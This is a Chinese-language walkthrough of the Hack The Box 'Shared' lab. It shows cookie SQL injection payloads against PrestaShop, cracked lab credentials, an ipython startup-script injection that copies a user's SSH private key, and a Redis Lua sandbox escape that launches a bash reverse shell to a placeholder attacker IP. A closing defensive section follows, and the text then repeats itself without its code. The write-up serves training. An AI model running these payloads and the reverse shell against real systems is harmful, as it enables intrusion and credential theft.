HTB Shared
字数 1101 2025-08-12 11:34:16

HTB Shared 靶机渗透测试教学文档

一、靶场搭建

  1. 连接HTB网络
    • 访问 HTB靶场地址
    • 点击右上角连接按钮,选择免费选项 SG FREE1 → 默认配置 → 下载连接文件(.ovpn)
    • Kali中执行:openvpn <配置文件路径>,显示"Complete"即连接成功
    • 验证:ping 10.10.11.172 确认靶机可达

二、信息收集

  1. 端口扫描

    nmap -sS -p 0-65535 -A 10.10.11.172
    
    • 开放服务:
      • 80/443: Web服务(Nginx 1.18.0)
      • 22: SSH服务
  2. Web应用识别

    • 修改hosts:10.10.11.172 shared.htb
    • 技术栈:
      • PrestaShop电商系统
      • MySQL数据库

三、漏洞利用

  1. SQL注入(Cookie注入)

    • 漏洞点:购物车custom_cart参数
    • Payload结构:
      {"商品名'注入语句#":"数量"}
      
    • URL编码转换:
      • {%7B
      • "%22
      • :%3A
  2. 分步注入过程

    # 1. 检测注入
    %7B%22CRAAFTKP' and 1=1 #%22%3A%221%22%7D
    %7B%22CRAAFTKP' and 1=2 #%22%3A%221%22%7D
    
    # 2. 字段数探测
    %7B%22CRAAFTKP' order by 3 #%22%3A%221%22%7D
    
    # 3. 联合查询
    %7B%22CRAAFTKP' and 1=2 union select 'a',database(),'c'#%22%3A%221%22%7D
    
  3. 数据库信息提取

    • 数据库名:checkout
    • 用户表:user(字段:id, username, password)
    • 关键凭证:
      • 用户名:james_mason
      • 密码Hash:fc895d4eddc2fc12f995e18c865cf273(明文:Soleil101

四、横向移动

  1. SSH登录

    ssh james_mason@10.10.11.172
    
  2. 权限提升准备

    • 发现可疑文件:
      • /home/james_mason/linpeas_linux_amd64(提权枚举工具)
      • /home/james_mason/pspy64(进程监控工具)
  3. ipython漏洞利用

    • 监控发现用户dan_smith定期执行ipython(v8.0.0)
    • 利用启动脚本注入:
    mkdir -m 777 /opt/scripts_review/profile_default/
    echo "import os; os.system('cat ~/.ssh/id_rsa > /dev/shm/rsa')" > /opt/scripts_review/profile_default/startup/script.py
    
    • 获取私钥后登录:
    chmod 600 key
    ssh -i key dan_smith@10.10.11.172
    

五、最终提权

  1. Redis服务利用

    • 发现特权文件:/usr/local/bin/redis_connector_dev
    • 密码提取:F2WHqJUz2WEz=Gqq
    • Redis版本:6.0.15(存在Lua沙箱逃逸)
  2. 反弹Shell

    # 攻击机监听:
    nc -lvp 1234
    
    # 靶机执行:
    echo "bash -i >& /dev/tcp/<攻击机IP>/1234 0>&1" > /dev/shm/redis
    redis-cli --pass F2WHqJUz2WEz=Gqq
    eval 'local l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = l(); local f = io.popen("cat /dev/shm/redis | bash"); local res = f:read("*a"); f:close(); return res' 0
    

六、关键知识点

  1. Cookie注入技巧

    • JSON格式参数需要闭合引号并注释
    • 注意URL编码转换
  2. Linux提权路径

    • 敏感组(sysadmin)文件查找
    • 定时任务监控(pspy工具)
    • 开发工具漏洞(ipython启动脚本)
  3. Redis利用链

    • 密码泄露 → Lua沙箱逃逸 → 系统命令执行

七、防御建议

  1. 输入过滤:对所有Cookie参数进行严格校验
  2. 权限控制:避免使用777目录权限
  3. 服务加固:Redis应配置绑定IP和认证
  4. 版本更新:及时修补ipython等开发工具漏洞

注:所有操作需在授权环境下进行,本文仅作学习参考。

HTB Shared 靶机渗透测试教学文档 一、靶场搭建 连接HTB网络 访问 HTB靶场地址 点击右上角连接按钮,选择免费选项 SG FREE1 → 默认配置 → 下载连接文件(.ovpn) Kali中执行: openvpn <配置文件路径> ,显示"Complete"即连接成功 验证: ping 10.10.11.172 确认靶机可达 二、信息收集 端口扫描 开放服务: 80/443: Web服务(Nginx 1.18.0) 22: SSH服务 Web应用识别 修改hosts: 10.10.11.172 shared.htb 技术栈: PrestaShop电商系统 MySQL数据库 三、漏洞利用 SQL注入(Cookie注入) 漏洞点:购物车 custom_cart 参数 Payload结构: URL编码转换: { → %7B " → %22 : → %3A 分步注入过程 数据库信息提取 数据库名: checkout 用户表: user (字段:id, username, password) 关键凭证: 用户名: james_mason 密码Hash: fc895d4eddc2fc12f995e18c865cf273 (明文: Soleil101 ) 四、横向移动 SSH登录 权限提升准备 发现可疑文件: /home/james_mason/linpeas_linux_amd64 (提权枚举工具) /home/james_mason/pspy64 (进程监控工具) ipython漏洞利用 监控发现用户 dan_smith 定期执行ipython(v8.0.0) 利用启动脚本注入: 获取私钥后登录: 五、最终提权 Redis服务利用 发现特权文件: /usr/local/bin/redis_connector_dev 密码提取: F2WHqJUz2WEz=Gqq Redis版本:6.0.15(存在Lua沙箱逃逸) 反弹Shell 六、关键知识点 Cookie注入技巧 JSON格式参数需要闭合引号并注释 注意URL编码转换 Linux提权路径 敏感组(sysadmin)文件查找 定时任务监控(pspy工具) 开发工具漏洞(ipython启动脚本) Redis利用链 密码泄露 → Lua沙箱逃逸 → 系统命令执行 七、防御建议 输入过滤:对所有Cookie参数进行严格校验 权限控制:避免使用777目录权限 服务加固:Redis应配置绑定IP和认证 版本更新:及时修补ipython等开发工具漏洞 注:所有操作需在授权环境下进行,本文仅作学习参考。